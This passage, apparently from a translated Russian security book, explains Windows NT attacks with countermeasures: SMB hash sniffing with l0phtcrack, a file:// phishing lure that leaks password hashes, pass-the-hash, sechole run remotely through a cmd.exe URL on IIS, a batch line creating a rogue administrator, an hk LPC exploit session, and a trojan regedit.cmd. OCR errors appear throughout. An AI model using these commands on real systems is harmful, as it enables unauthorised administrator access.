Очень просто, путем подбора в лоб. Из заголовка пакета утилита l0phtcrack получает только сам запрос и запрос, закодированный с помощью хэш-кода пароля. Затем выполняется кодирование известного значения запроса с помощью случайно генерируемых строк и результат сравнивается с полученным зашифрованным значением запроса. Эта процедура повторяется до тех пор, пока не будет найдена случайная строка, для которой результаты окажутся идентичными. Из-за несовершенства алгоритма вычисления хэш-кода LM (на самом деле этот хэш-код состоит из трех фрагментов, которые можно атаковать независимо друг от друга), процесс подбора занимает гораздо меньше времени, чем кажется на первый взгляд. Более подробная информация об этом содержится по адресу http: //www.10pht.com/10phtcrack/rant .html.
Эффективность утилиты l0phtcrack при ее совместном использовании с функцией SMP Packet Capture настолько высока, что любой, кто не пожалеет времени для наблюдения за сетью, гарантированно сможет получить статус администратора в течение нескольких дней. Вы замечаете, как неумолимо бежит время?
Даже если вы считаете, что вашу сеть защитит коммутируемая архитектура, не торопитесь с выводами. Например, взломщик может воспользоваться одним из методов социальной инженерии, описание которого можно найти в ответах на часто задаваемые вопросы (FAQ — Frequently Asked Questions) по использованию утилиты l0phtcrack (http://www.l0pht.com/l0phtcrack/faq.html).



Рис. 5.2. Функция SMP Packet Capture утилиты lOphtcrack позволяет перехватывать пересылаемые по сети NT запросы на регистрацию для их последующего взлома с помощью lOphtcrack. В данном примере видно несколько систем, у которых значение NT Hash представлено нулями. Это означает, что данные системы работают под управ-,- лением Win 9x, которая не поддерживает алгоритма хэширования NT

"Отправьте выбранной жертве почтовое сообщение (неважно, на личный адрес или же на общий адрес компании). В текст письма включите адрес URL в форме file:////ваш_компьютер/имя_совместно_ используемого_ресурса/сообщение.html. Как только получатель щелкнет на этом URL, его хэшированный пароль сразу же будет отправлен вам для аутентификации."

При знакомстве с технологиями, подобными протоколу ARP (см. главу 10), вы увидите, что коммутируемые сети на самом деле не обеспечивают надежную защиту против перехвата паролей.

Мастаки из LOpht даже умудрились смастерить утилиту, которая выуживает хэши-рованные пароли NT из потока данных, которыми обмениваются компьютеры при регистрации с использованием протокола РРТР (Point-to-Point Tunneling Protocol). В системе NT адаптированный вариант РРТР используется для организации частных виртуальных сетей (VPN — Virtual Private Network). Эта технология позволяет организовывать туннелирование потока данных для передачи информации по Internet с гарантированной защитой. По адресу http://www.l0pht.com/10phtcrack/donwload.html можно найти два анализатора сетевых пакетов: одна программа предназначена для работы в системе Solaris 2.4+ (написана L0pht), а вторая (ее автор — модератор бюллетеня Bugtrag, хакер Aleph One (Алеф Ван)) — в любой сети UNIX, в которой имеется библиотека перехвата пакетов libpcap. Кроме того, на этой же Web-странице имеется версия программы readsmb для UNIX, написанная Йоше Чангом (Jose Chung) из компании Basement Research.
Если каким-то образом вам удалось завладеть пользовательским хэш-кодом (скажем, в результате перехвата пакетов SMB или копирования базы данных SAM системы NT), то почему бы не передать этот хэш-код прямо в операционную систему клиента, которая, в свою очередь, сможет использовать его при ответе на запрос в процессе аутентификации. Таким образом взломщик может пройти процедуру регистрации на сервере даже без знания пароля в явной форме, а лишь обладая нужным хэш-кодом и именем пользователя. Такой подход позволяет сэкономить много времени и сил, затрачиваемых на извлечение хэш-кода с помощью перехвата SMB-пакетов.

 Передача хэш-кода


Пол Эштон (Paul Ashton) выдвинул идею модификации SMB-клиента сервера Samba системы UNIX, обеспечивающего совместный доступ к файлам (http://www.saniba.org) с целью реализации описанного выше приема. Исходный документ Пола можно найти в архивах бюллетеня NT Bugtraq по адресу http://www.ntbugtraq.com. Новые версии программы smbclient для системы UNIX позволяют зарегистрироваться на клиентских системах NT с использованием лишь хэш-кода.
Технические подробности процесса передачи хэш-кода содержатся в статье Гернана Очоа (Heman Ochoa) из компании CORE-SDI. Из этой статьи можно узнать, как подсистема LSASS (Local Security Authority Subsystem) хранит информацию о сеансах регистрации и связанных с ними данными учетных записей. Гернан показал, как напрямую отредактировать эти данные в оперативной памяти и изменить регистрационную информацию незаметно для пользователя. Подтверждением работоспособности такого подхода может послужить рис. 5.3 (для обеспечения безопасности реальные имена были изменены).
Однако подобные подходы не получили широкого распространения, поскольку справиться с данной задачей могут лишь программисты довольно высокой квалификации. Таким образом, риск атаки, основанной на отправке хэш-кода, невысок.



Рис. 5.3. Программа, предназначенная для отправки хэш-кода

Контрмеры: запрещение аутентификации в локальной сети


В сервисном пакете Service Pack 4.0 была добавлена поддержка нового параметра системного реестра, призванного запретить узлу NT выполнять аутентификацию в локальной сети (с использованием хэш-кодов LM). Для того чтобы воспользоваться этой возможностью, нужно добавить параметр LMCompatibilityLevel со значением REG_DWCRD=4 к следующему ключу системного реестра. HKEY_LOCAL_MACHINE\System\CurrentControlSet\LSA
Значение 4 запрещает контроллеру домена (DC — domain controller) принимать запросы на аутентификацию. Как объясняется в статье Q147706 базы знаний компании Microsoft, значения 4 и 5 зарезервированы для контроллеров доменов.
К сожалению, любые клиенты низкого уровня не смогут пройти аутентификацию на контроллере домена, на котором установлен пакет Service Pack 4 и выполнены описанные выше действия (например, такими клиентами являются системы Windows 9x, Windows for Workgroups). Это объясняется тем, что модернизированная система аутентификации такого контроллера будет выполнять аутентификацию лишь с использованием кэш-кода NT. Более того, поскольку клиенты, не использующие систему Windows NT, не могут реализовать вычисление хэш-кода NT, они все равно будут отправлять по сети запросы на аутентификацию, содержащие значения хэш-кодов LM. Это сведет на нет все усилия, напрашгенные на защиту от перехвата SMB-пакетов. Вывод напрашивается сам собой: в составе домена не должно быть клиентских компьютеров, работающих под управлением старых версий Windows. Однако в большинстве компаний, использующих в сети системы с различными версиями Windows, такое решение вряд ли можно воплотить в жизнь.

До появления сервисного пакета SP4 не было возможности запретить обработку хэш-кодов LМ на узле NT, используемых для аутентификации. Как следствие, такие узлы абсолютно не защищены от опасности перехвата SMB-пакетов.

С выходом новой операционной системы Win 2000 компания Microsoft предоставила другую возможность передачи регистрационных данных по локальной сети клиентами Win Эх. Ее предоставляет клиент службы каталогов (DSClient — Directory Services Client), который можно найти на установочном компакт-диске системы Windows 2000 в папке Clients\win9x (файл Dsclient.exe). Теоретически пользователи Win 9x могут установить специальные параметры системного реестра и использовать более надежную защиту благодаря использованию хэш-кодов NT. В статье Q239869 описывается, как установить программу DSClient и настроить клиентов Win 9л: для использования протокола идентификации NTLM версии 2.

Использование подписи SМВ


Хотя полностью защититься от атак с использованием хэш-кодов нельзя, можно наложить некоторые ограничения на удаленную регистрацию в системе Windows с помощью подписи SMB (SMB signing). Такая возможность появится в системе NT, если на ней установить сервисный пакет SP3 или более поздний. Здесь мы упоминаем этот механизм исключительно для обеспечения полноты изложения. При использовании подписи SMB каждый пакет 8MB, передаваемый правильно настроенными клиентами и серверами NT, будет проверяться с применением криптографических методов. Это позволит предотвратить вставку в поток данных регистрации пакетов взломщика. Как и ранее, это решение годится только для Windows NT, так как клиенты Win 9x не поддерживают описанный выше механизм. Кроме того, как отмечается в статье Q161372 базы знаний Microsoft, посвященной режиму использования подписи SMB, активизация этого средства влечет за собой снижение производительности на 10-15 %.


Удаленное проникновение: состояние DoS и переполнение буфера

В этом разделе мы немного поговорим о том, как может разворачиваться ситуация в том случае, если взломщику не удастся подобрать пароль к интересующей его системе. В таких случаях у него есть несколько возможностей. Первая из них состоит в поиске скрытого недостатка архитектуры NT, которым можно было бы воспользоваться для удаленного проникновения и получения доступа к системе. Вторая заключается в генерации состояния DoS (DoS — отказ в обслуживании), — последней надежды неудачливого взломщика.

Удаленное переполнение буфера


О Windows NT ходят легенды, что в ней существуют многочисленные секретные "лазейки", с помощью которых можно получить статус администратора любой удаленной системы. На самом деле в настоящее время известно лишь несколько подобных недостатков, которые при определенных условиях могут дать подобный эффект, однако все они относятся к приложениям, а не к самой системе Windows NT. Чем это объясняется, то ли относительной "молодостью" NT, то ли архитектурой, заложенной в нее разработчиками Microsoft, — это спорный вопрос.
С точки зрения удаленного проникновения самые тяжелые последствия способна вызвать ошибка переполнения буфера (buffer overflow). Более подробно переполнение буфера будет рассматриваться в главе 14, а сейчас для продолжения обсуждения достаточно сказать, что переполнение буфера возникает тогда, когда программы не способны адекватно отслеживать длину вводимых данных. В таких случаях избыточные данные записываются поверх части стека центрального процессора. Если это произойдет не случайно, а в результате передачи в качестве избыточных данных соответствующих команд, то новый код может привести к выполнению операций, подобранных высококвалифицированным программистом. Одной из наиболее значимых статей, посвященных проблеме переполнения буфера, является работа Алефа Вана (Aleph One) Smashing the stack for fan and profit. Ее можно найти по адресу http://phrack.infonexus.com/archive.html. К другим статьям о переполнении буфера системы Windows относятся Tao of Windows Buffer Overflow хакера Дилдога (Dildog), Win32 Buffer Overflows Барнаби Джека (Barnaby Jack) в Phrack 55, а также статьи членов группы CIS (Cerberus Information Security).
Переполнение буфера можно отнести к одному из двух основных классов: удаленное и локальное. Для достижения локального переполнения требуется доступ к консоли, и его обычно могут осуществить лишь интерактивные пользователи. Удаленное переполнение буфера является гораздо более опасным. Такой возможностью могут воспользоваться взломщики, имеющие нулевые привилегии на целевом компьютере и находящиеся на любом узле сети. Как правило, удаленное переполнение буфера связано с размещением на целевой системе "полезного груза" (т.е. кода, помещенного в стек центрального процессора), что впоследствии позволяет взломщику удовлетворить практически любые свои желания. В табл. 5.3 приведены некоторые наиболее известные публикации об ошибках переполнения буфера системы NT и других программных продуктов компании Microsoft.
Теоретически, учитывая огромный объем и сложность исходного кода Windows NT, в нем должно существовать довольно много изъянов подобного рода. Однако, как видно из табл. 5.3, между двумя изданиями этой книги практически не появилось новых хакерских программ, вызывающих переполнение буфера самой операционной системы NT/2000. В то же время, как видно из табл. 5.3, службы (IIS) и приложения (Outlook) системы Windows являются достаточно уязвимыми. Поэтому не стоит рассчитывать на абсолютную защищенность операционной системы: все возрастающий поток исследований проблемы переполнения буфера Win32 в любой момент может привести к прорыву обороны.

Таблица 5.3. Некоторые публикации о выявленных ошибках переполнения буфера Windows

Мишень и разработчики программы взлома
Адрес URL
Принцип действия
Netmeeting 2x, группа хакеров Cult of the Dead Cow (cDc)
http://www.cultdeadcow.com/ cDc_files/cDc-351
Проверка концепции, сводящаяся к загрузке графического файла с узла cDc
NT RAS, группа Cerberus Information Security (CIS)
http://www. infowar.co.uk/ mnemonix/ntbufferoverruns.htm
Открытие окна командной строки с привилегиями System
winhlp32, группа CIS
http://www.infowar.со.uk/ mnemonix/ntbufferoverruns.htm
Запуск командного файла с привилегиями System
IISHack, компания еЕуе
http://www.eeye.com
Выполнение заданного кода на Web-сервере, работающем под управлением NT US
Oracle Web Listener 4.0, группа CIS
http://www.cerberus-infosec. co.uk/advowl.html
Удаленное выполнение команды с привилегиями System
Outlook GMT, лаборатория Underground Security Systems Research (USSR)
http: //www.ussrback.com/labs50.html
Переполнение буфера за счет выполнения заданного кода при синтаксическом анализе электронного сообщения

Контрмеры: защита от переполнения буфера


Лучшим ответом на атаки с применением переполнения буфера является профессиональное программирование. Упоминавшиеся выше статьи предоставляют опытному программисту некоторые идеи, реализация которых позволит избежать подобной угрозы при написании приложений (при их изучении пригодится знание языка С и низкоуровневого языка программирования Assembler). Однако поскольку создание программных продуктов, подобных системе Windows, выполняется практически без непосредственного участия пользователей, то ответственность за устранение выявленных проблем должна ложиться на плечи группы разработчиков.
Для разрешения проблемы переполнения буфера могут использоваться различные программные продукты. Одним из самых новых средств этой категории является программа BOWall Андрея Колишака (Andrey Kolishak). Программа BOWall предотвращает переполнение буфера двумя способами.
 Замещает библиотеки DLL их двоичными копиями, в которые включены процедуры мониторинга вызовов потенциально уязвимых функций (например, strcpy, wstrcpy, strncpy, wstrncpy, strcat, wcscat, strncat, wstrncat, memcpy, memmove, sprintf, swprintf, scanf, wscanf, gets, getws, fgets, fgetws). После этого вызовы таких функций проверяются на предмет целостности возвращаемого адреса стека (stack return address).  Ограничивает выполнение функций динамических библиотек из сегмента данных и стека (data and stack memory). Замещение системных динамически подключаемых библиотек для предотвращения переполнения буфера является несколько кардинальным, однако все же такой подход, очевидно, достоин внимания.
Программа eNTercept от компании ClickNet Software Corp. представляет собой систему предотвращения вторжений, которая может использоваться в качестве оболочки ядра системы NT, которая обеспечивает мониторинг всех вызовов. Это приложение хорошо подходит для выявления и предотвращения известных атак, направленных на переполнение буфера.
По адресу http://immunix.org/ можно получить улучшенную версию компилятора GNU С (gcc) StackGuard. С его помощью можно генерировать исполняемые файлы, которые более устойчивы к разрушению стека, чем обычные программы. Это достигается путем помещения слова-признака (canary word) за адресом возврата при вызове функции. Если после завершения выполнения функции это слово-признак оказалось другим, значит, была предпринята попытка переполнения буфера. При этом программа, скомпилированная с помощью StackGuard, помещает соответствующую запись в системный журнал. Поскольку в рассмотренном случае требуется использование компилятора gcc, то описанный подход неприменим в системе NT. Однако, возможно, некоторые из читателей все же будут вдохновлены...
Впоследствии для устранения подобных атак потребуются кардинальные изменения в программных моделях (например, язык Java, в котором отсутствуют внутренние структуры, затрагиваемые при этом) или в самой архитектуре центральных процессоров.

 Отказ в обслуживании (DoS)


Атаки, приводившие к генерации состояния DoS, были чрезвычайно популярны в 1997-1998 годах, что объясняется появлением многочисленных утилит, предназначенных для повреждения стека TCP/IP на самых различных платформах. Некоторые из них были направлены исключительно на систему Windows. Мы не будем тратить время на описание всех используемых при этом недостатков реализации стека протоколов TCP/IP, поскольку все они уже устранены в пакетах обновления. Кроме того, обсуждению атак DoS посвящена целая глава (см. главу 11, а также часть главы 4, где были рассмотрены методы предотвращения подобных угроз для платформы Win 9х).
Генерация состояния отказа в обслуживании не всегда преследует цель вызвать раздражение сетевого администратора. Зачастую такой подход используется для того, чтобы добиться перезагрузки системы и автоматического запуска требуемых утилит. Как вы увидите позднее, изучение кода многочисленных файлов загрузки Windows NT является одним из эффективных методов проникновения в систему.

 Контрмеры: предотвращение состояния DоS


Установка самого последнего сервисного пакета (при написании книги — версии 6А) позволяет защитить систему NT от большинства известных способов генерации состояния DoS. Кроме того, следите также за появлением промежуточных пакетов обновления, особенно, если они относятся непосредственно к стеку протоколов TCP/IP систем NT/2000, tcpip.sys. (Естественно, обновление используемой операционной системы до Win 2000 позволяет достигнуть того же результата.) Многие серьезные атаки DoS, связанные с применением средств land, newtear и ООВ, стали недоступными после установки промежуточных пакетов обновления, появившихся после SP3. Конечно, обновление до Win 2000 представляет собой самый лучший сервисный пакет, в котором нашли отражение все выпущенные ранее пакеты обновления.

Для получения более подробной информации о ключах системного реестра, с помощью которых от атак DoS можно защитить серверы Internet под управлением Windows, читайте главу 6.

Мы рекомендуем познакомиться также с другими программными продуктами, направленными на предотвращение атак DoS на стек TCP/IP, таких как teardrop, land, OOB и т.д. Они подробно рассматриваются в главе 12.
Модули обновления, появившиеся после сервисного пакета SP3, позволяют устранить угрозу атак DoS с применением таких средств, как snork и пгрс (обоим утилитам требуется доступ к портам с номерами 135-139).
Теперь снова вернемся к обсуждению приемов получения статуса администратора.

Расширение привилегий


Предположим, что попытка подбора пароля увенчалась успехом — в ваших руках регистрационное имя и связанный с ним пароль пользователя интересующего вас сервера NT, не имеющего прав администратора. В мире NT шаг, заключающийся в получении доступа к системе в качестве одного из ее пользователей, несмотря на всю его сложность, является сравнительно простым. Последующие шаги потребуют гораздо больших знаний, изобретательности и везения. Так, например, существуют средства, позволяющие расширить полномочия, соответствующие пользовательской учетной записи. Однако, как уже отмечалось, этим средствами нельзя воспользоваться, обладая правами лишь обычного пользователя NT, так как такой пользователь по умолчанию не имеет права интерактивной регистрации. Однако если системный администратор допустил несколько серьезных промахов, с помощью этих средств взломщик сможет расширить свои полномочия.
В этом разделе мы приведем основные принципы расширения полномочий учетной записи обычного пользователя до уровня учетной записи Administrator. В ходе рассмотрения мы коснемся также некоторых возможностей по использованию тех или иных средств для выполнения несанкционированных операций как с удаленного компьютера, так и с локальной консоли.

Сбор информации


Если взломщику удалось завладеть учетной записью пользователя, не обладающего правами администратора, то единственной реальной возможностью, которой ему осталось воспользоваться, является дальнейший сбор информации, которая позволит расширить привилегии. В процессе сбора таких данных используются многие методы инвентаризации, которые уже упоминались в главе 3. Анализируя все полученные сведения, взломщик может получить доступ к критичным ресурсам. Вот некоторые из средств и приемов для сбора важных данных.
 Утилита srvinfo из набора NTRK может использоваться для поиска совместно используемых ресурсов. При этом важными источниками информации являются папки %systemroot%system32 и \repair, а также доступные для записи папки Web- или FTP-сервера.  Стандартная утилита поиска системы Windows может использоваться для поиска строка вида password в файлах .bat или файлах сценариев.  Утилиту regdmp из набора NTRK или команда Connect Network Registry редактора системного реестра можно попробовать применить для получения доступа к различным частям системного реестра. Этот процесс высасывания (hoovering) информации из всех "закоулков" получил свое определение в английском языке по названию производителя популярных пылесосов.

Контрмеры: защита от сбора информации


Для проверки степени защищенности системы от деятельности подобного рода лучше всего попробовать выполнить описанные действия самостоятельно. Для этого зарегистрируйтесь на удаленном компьютере под именем обычного пользователя и проверьте, удастся ли такому пользователю выполнить описанные выше операции. Автоматизировать процесс поиска можно с использованием команд find и findstr системы NT.
Далее мы опишем некоторые механизмы, с помощью которых взломщик может добавить себя в группу Administrators.

Утилита getadmin


getadmin — это небольшая программа, написанная Константином Соболевым (Konstantin Sobolev), которая добавляет пользователя в локальную группу Administrators. Она использует низкоуровневую процедуру ядра NT для установки глобального флага, позволяющего получить доступ к любому запущенному процессу, а затем с помощью приема, называемого внедрение в DLL (DLL injection), вставить специальный исполняемый код в какой-нибудь процесс, который обладает привилегией добавления пользователей в группу Administrators. (Как правило, в качестве такого процесса выбирается winlogon, который использует учетную запись System). Более подробная информация об утилите getadmin и ее исполняемый код можно найти по адресу http://www.ntsecurity.net/security/getadmin.htm.
Мощь утилиты getadmin несколько затмевает тот факт, что она должна быть запущена локально. Поскольку большинство пользователей по умолчанию не могут зарегистрироваться на сервере NT локально, эта утилита, как правило, может помочь только в создании фиктивных членов различных встроенных групп Operators (Account, Backup, Server и т.д.) и используемой по умолчанию учетной записи сервера Internet IUSR._имя_машины при наличии соответствующих привилегий. Однако если злоумышленники уже имеют такой уровень привилегий на вашем сервере, то утилита getadmin не сможет усугубить ситуацию, так как они и без ее помощи имеют доступ ко всем требуемым ресурсам.
Утилита getadmin запускается из командной строки следующим образом: getadmin имя_пользователя. Прежде чем воспользоваться полученными привилегиям, новый пользователь, добавленный в группу Administrators, сначала должен завершить текущий сеанс работы. (Для того чтобы убедиться, что пользователь получил права администратора, достаточно попробовать запустить утилиту windisk. Это сможет осуществить только член группы Administrators.)

Контрмеры: защита от использования ynunnugetadmin


Изъян, на котором основывается принцип работы утилиты getadmin, исправлен в дополнительном модуле обновления к сервисному пакету SP 3. Этот модуль входит также во все впоследствии выпущенные сервисные пакеты. Согласно некоторым источникам, модернизированная версия утилиты getadmin, названная crash4, способна обойти исправления, если она будет запушена перед getadmin. Однако нет каких-либо подтверждений, что этот прием является работоспособным.
В связи с тем, что для выполнения большинства потенциально опасных операций в системе NT на удаленном компьютере требуются привилегии администратора, извлечь какую-то пользу из применения getadmin при удаленном подключении достаточно проблематично. Для этого необходимо совпадение двух событий: взломщик должен иметь доступ к какому-нибудь каталогу, открытому для записи, а также право выполнения программ, содержащихся в этом каталоге. Как можно добиться такого результата, вы узнаете чуть ниже.

Утилита sechole


Утилита sechole предоставляет те же возможности, что и getadmin: она добаштяет текущего пользователя в локальную группу администраторов. Обновленная версия этой утилиты secholed помещает пользователя в группу администраторов домена.) Однако для выполнения тех же действий, что и getadmin, эта утилита использует другие механизмы. Как отмечают Прасад Дабак (Prasad Dabak), Сандип Фадк (Sandeep Phadke) и Милинд Бора (Milind Borate), sechole модифицирует в оперативной памяти код вызова процедуры OpenProcess, и это позволяет ей успешно подключаться к привилегированному процессу, независимо от того, имеет ли она для этого соответствующие разрешения. После успешного подключения она работает так же, как и утилита getadmin, выполняя код внутри процесса-носителя, и добавляет текущего пользователя в указанную группу Administrators. Полный код и подробное описание можно найти на Web-узле NT Security по адресу http://www.ntsecurity.net/security/sechole.htm.
Подобно getadmin, утилита sechole должна быть запущена локально. Однако, если на целевом узле запущен сервер IIS компании Microsoft и, кроме этого, выполняются и некоторые дополнительные условия, sechole можно запустить и удаленно, добавив используемую по умолчанию учетную запись пользователя Internet 1изк_имя_машины в группу Administrators или Domain Admins. Вот описание того, как это можно осуществить.

Удаленный запуск утилиты sechole


Рассмотрим пример применения основного подхода, используемого при нападении на Web-серверы, который в различных формах применяется в Internet. Успешность такой атаки зависит от того, существует ли каталог US-сервера, доступный для записи и запуска программ. К счастью, компания Microsoft "предоставила" много каталогов с такими разрешениями, используемыми по умолчанию.
Виртуальные каталоги сервера 1IS, представленные в табл. 5.4, помечены как доступные для выполнения. Соответствующие им физические каталоги (также перечисленные в табл. 5.4.) по умолчанию имеют разрешения Read, Write, Execute и Delete (RWXD).
После анализа заданных по умолчанию разрешений становится очевидно, что сервером может быть выполнен любой ложный исполняемый файл, расположенный в любом из этих каталогов. У взломщика имеется лишь одно препятствие: удаленно поместить в какой-либо из этих каталогов требуемый исполняемый файл.
На самом деле это совсем не трудно, как может показаться на первый взгляд. Для этих целей можно воспользоваться открытыми для совместного использования разделами жесткого диска, неудачно организованными каталогами FTP, которые перекрывают каталоги, представленные в табл. 5.4. Для решения поставленной задачи можно воспользоваться также недостаточно защищенными командами удаленного управления (например, telnet), методами PUT протокола HTTP или даже средствами авторизации в Web, предоставляемыми приложением FrontPage.
Предположим, что взломщику удалось воспользоваться какой-нибудь из перечисленных возможностей и успешно загрузить утилиту sechole и связанные с ней библиотеки DLL в один из каталогов, представленных в табл. 5.4. И что теперь? Поскольку эта программа запускается из командной строки, то взломщику необходимо поместить в тот же каталог и командный интерпретатор (в системе NT командный интерпретатор, cmd.exe, находится в каталоге %windir%\system32).

Таблица 5.4. Виртуальные каталоги сервера US, имеющие по умолчанию разрешения Execute, к соответствующие им физические каталоги

Виртуальный каталог
Физическое расположение
/W3SVC/l/ROOT/msadc
C \program f iles\common\system\msadc
/ W3 SVC /1/ROOT/News
C \InetPub\News
/W3SVC/l/ROOT/Mail
C \InetPub\Mail
/W3 SVC/1/ROOT/ cgi -bin
C \InetPub\wwwroot\cgi-bin
/W3 SVC/1/ROOT/ scripts
C \InetPub\scripts
/W3SVC/1/ROOT/ iisadmpwd
С \WINNT\System32\inetsrv\iisadmpwd
/W3SVC/l/ROOT/_vti_bin
(Отсутствует, если не установлены расширения FrontPage)
/W3SVC/l/ROOT/_vti_bin/ vti_adm
(Отсутствует, если не установлены расширения FrontPage)
/W3SVC/l/ROOT/_vti_bin/_vti_aut
(Отсутствует, если не установлены расширения FrontPage)

Однако не будем торопиться. Выше уже упоминалось, что утилита sechole добавляет пользователя в локальную или доменную группу администраторов. Если же она была запущена посредством Web-броузера, то в группу администраторов будет добавлена учетная запись 1изп_имя_машины. А это не очень хорошо, поскольку этой учетной записи назначается случайный пароль, который взломщику придется подбирать при удаленной регистрации. Как же в группе администраторов создать новую учетную запись пользователя с паролем, который выбрал сам взломщик? Это просто осуществить с помощью встроенной команды net localgroup. Создайте простой командный файл (например, с именем adduser.bat) со следующей строкой:
net user mallory qpensesame /add && net localgroup administrators mallory /add
После того как в требуемый каталог помещены утилита sechole, связанные с ней динамически подключаемые библиотеки, командный интерпретатор cmd.exe и файл adduser.bat, для его запуска взломщику достаточно ввести соответствующий адрес URL в Web-броузере, подключенном к удаленному компьютеру. В примере, показанном на рис. 5.4, утилита sechole была помещена в виртуальный каталог /WSSVC/I/ROOT/SCRIPTS (т.е. в физический каталог C:\inetpub\SCRiPTS), а затем запущена с помощью соответствующего адреса URL.



Рис. 5.4. Взлом удаленной системы с помощью утилиты sechole

Далее вместо того чтобы регистрироваться с использованием учетной записи IUSR, пароль которой пока неизвестен, взломщик добавит нового пользователя с помощью файла сценария adduser.bat, запущенного в броузере с использованием следующего сложного адреса URL.
http://192.168.202.154/scripts/cmd.exe?/c%20c:\inetpub\scripts\adduser.bat
Подстрока %20 интерпретируется Web-сервером как символ пробела, что приводит к преобразованию адреса URL в команду, которая выполнится на удаленном узле (команда cmd /с будет передавать команды, содержащиеся в файле adduser.bat, командной оболочке).
Теперь, когда учетная запись IUSR внесена в группу администраторов и добавлен новый пользователь с привилегиями администратора, взломщик стал "владельцем" Web-сервера.

Контрмеры: защита от применения утилиты sесhо1е


Существует два простых метода защиты как от утилиты sechole, так и от удаленного выполнения команд в Web. Во-первых, установите самый последний сервисный пакет (6А или более новый). Для систем, на которых установлен сервисный пакет SP5, можно воспользоваться модулем обновления. Более подробную информацию можно получить в статье KB Q190288. Затем, независимо от того, волнует ли вас проблема sechole или нет, запретите доступ для записи в каталоги сервера Internet, в которых содержатся исполняемые файлы (см. табл. 5.4). Для этого проще всего заблокировать доступ к портам TCP и UDP сервера с номерами 135-139 и, таким образом, исключить доступ к совместно используемым ресурсам Windows. Если доступ с использованием протокола SMB заблокирован, обязательно убедитесь в том, отключен также доступ на запись по протоколу FTP.
Еще один метод решения проблемы заключается в отключении разрешений Execute для виртуального Web-сервера. Они могут устанавливаться глобально в группе параметров Application Settings во вкладке Home Directory диалогового окна свойств Default Web Site Properties, доступ к которому можно получить с помощью консоли управления Microsoft (рис. 5.5).
Свойства других каталогов можно установить отдельно, в стандартном окне свойств, которое появляется на экране после щелчка правой кнопкой мыши на соответствующей пиктограмме в окне проводника Windows. В открывшемся окне свойств перейдите во вкладку Web Sharing и щелкните на кнопке Edit Properties (см. рис. ниже).



Рис. 5.5. Вкладка Ноте Directory диалогового окна свойств виртуального Web-сервера, на которой отключены разрешения Execute


После щелчка на кнопке Edit Properties на экране появится диалоговое окно, показанное на следующем рисунке.


Менее известный способ расширения привилегий, обеспечиваемый утилитой besysadm, появился после выпуска сервисного пакета Service Pack 5. Информацию о соответствующем модуле обновления можно найти по адресу http://www. microsoft.cam/technet/eecurity/bullatin/ms99-006.asp

Ложные запросы к портам LPC


Такую возможность обнаружила группа исследователей RAZOR (http://razor. bindview.com) и предоставила авторам проверочный код, который, однако, не был открыт для широкого использования. В приведенном коде иллюстрируется изъян одной из функций интерфейса с портами LPC (Local Procedure Call — локальный вызов процедур), который позволяет потокам и процессам на локальном узле взаимодействовать друг с другом. Обычно порты LPC обеспечивают интерфейс между потоком сервера и клиентными потоками, которые генерируют запросы на использование служб. Кроме того, порты LPC выполняют проверку легитимности клиента. Однако взломщик, у которого имеется возможность создать оба потока, и сервера и клиента. может обойти такую проверку и связать клиентный поток с любым пользователем, даже имеющим привилегии SYSTEM.
Воспользуемся утилитой hk от группы RAZOR и добавим в группу администраторов пользователя mallory, входящего в состав группы Backup operators и имеющего разрешение на интерактивную регистрацию.
Во-первых, с помощью утилиты whoami из пакета NTRK убедимся, что пользователь mallory действительно принадлежит к группе Backup Operators, а не администраторов.

С:\>whoami
[Group 1] = "IIS47\None"
[Group 2] = "Everyone"
[Group 3] - "BUILTIN\Users"
[Group 4] = "BUILTINXBackup Operators"

Кроме того, удостоверимся в том, что пользователь Mallory не может добавить себя п группу администраторов самостоятельно.

C:\>net looalgroup administrators mallory /add
System error 5 has occurred.
Access is denied,

Теперь воспользуемся командой net use совместно с утилитой hk.

C:\>hk net localgroup administrators mallory /add
Isass pid & tid are: 47 - 48
NtlmpersonateClientOfPort succeeded
Launching line was: net localgroup
administrators mallory /add
Who do you want to be today?

Теперь Мэлори (Mallory) принадлежит к группе администраторов, как видно из приведенного листинга.

C:\>net localgroup administrators
Alias name administrators
Comment Members can fully administer the computer/domain
Members
-------------------------
Administrator mallory
The command completed successfully.

Применяйте модули обновления!


Компания Microsoft выпустила модуль обновления сервисного пакета SP6A, который изменяет вызов функции проверки достоверности, входящей в состав программного интерфейса с портами LPC. Этот модуль обновления можно найти в бюллетене MS00-003 компании Microsoft по адресу http://www.microsoft.com/technet/security/bulletin/ms00-003.asp.
Не лишним будет еще раз повторить, что это модуль обновления сервисного пакета SP6A. Многие организации предпочитают ожидать выпуска следующего сервисного пакета. Такая позиция довольно безрассудна, поскольку до того, как компания Microsoft выпустит сервисный пакет SP7, компьютеры таких компаний остаются уязвимыми для взломщиков. Если SP7 никогда не выйдет в свет, эта ситуация не изменится до тех пор, пока не будет выполнено обновление до Win 2000. Так что лучше всего воспользоваться модулями обновления!
Теперь перейдем к рассмотрению некоторых других методов, с помощью которых взломщик может запустить утилиты getadmin, sechole, besysadm, hk и другие программы, предназначенные для расширения привилегий.

"Троянские кони" и параметры реестра


Основной принцип расширения привилегий заключается в том, чтобы ввести в заблуждение других пользователей (лучше всего администратора) и выполнить код, который позволит учетной записи взломщика получить привилегии суперпользователя. Аналогичный подход состоит во внедрении какого-либо кода, который будет выполнен при наступлении некоторого обычного события в системе (например, в процессе перезагрузки). Обе из этих стратегий, а также методы борьбы с ними, обсуждаются ниже.

Многие из описанных ниже методов гораздо глубже и полнее освещаются на страницах прекрасного Web-узла Security Bugware, которые можно найти по адресу http://Oliver.efri.hr/-crv/security/bugs/NT/getadmt#].html, где # — числа от 2 до 7.

"Троянские кони" и расширение привилегий


"Троянский конь" (Trojan horse) — это программа, которая предоставляет некоторые полезные функции, однако на самом деле предназначена для скрытного выполнения злонамеренных или разрушительных действий (для получения более подробной информации читайте главу 14). От одной только мысли о возможностях, открывающихся при переименовании стандартных утилит NT, голова идет кругом! Например, вместо программы regedit.exe взломщик может поместить в каталог winnt\system32 командный файл regedit.cmd. Когда ничего не подозревающий администратор введет в командной строке regedit, чтобы выполнить какие-то операции с системным реестром, будет запущен командный файл. Обычно с его помощью выполняется тот или иной вариант следующей команды. net localgroup administrators <пользователь> /add
Таким образом, администратор собственноручно внес учетную запись взломщика в группу Administrators.

Контрмеры: защита от "троянских коней"


Хотя предлагаемые контрмеры и не обеспечивают стопроцентной защиты, все же будьте внимательны при запуске приложений. Обращайте внимание на различные аномалии (например, быстро промелькнувшее окно командной строки в момент вызова полноценной программы Windows).
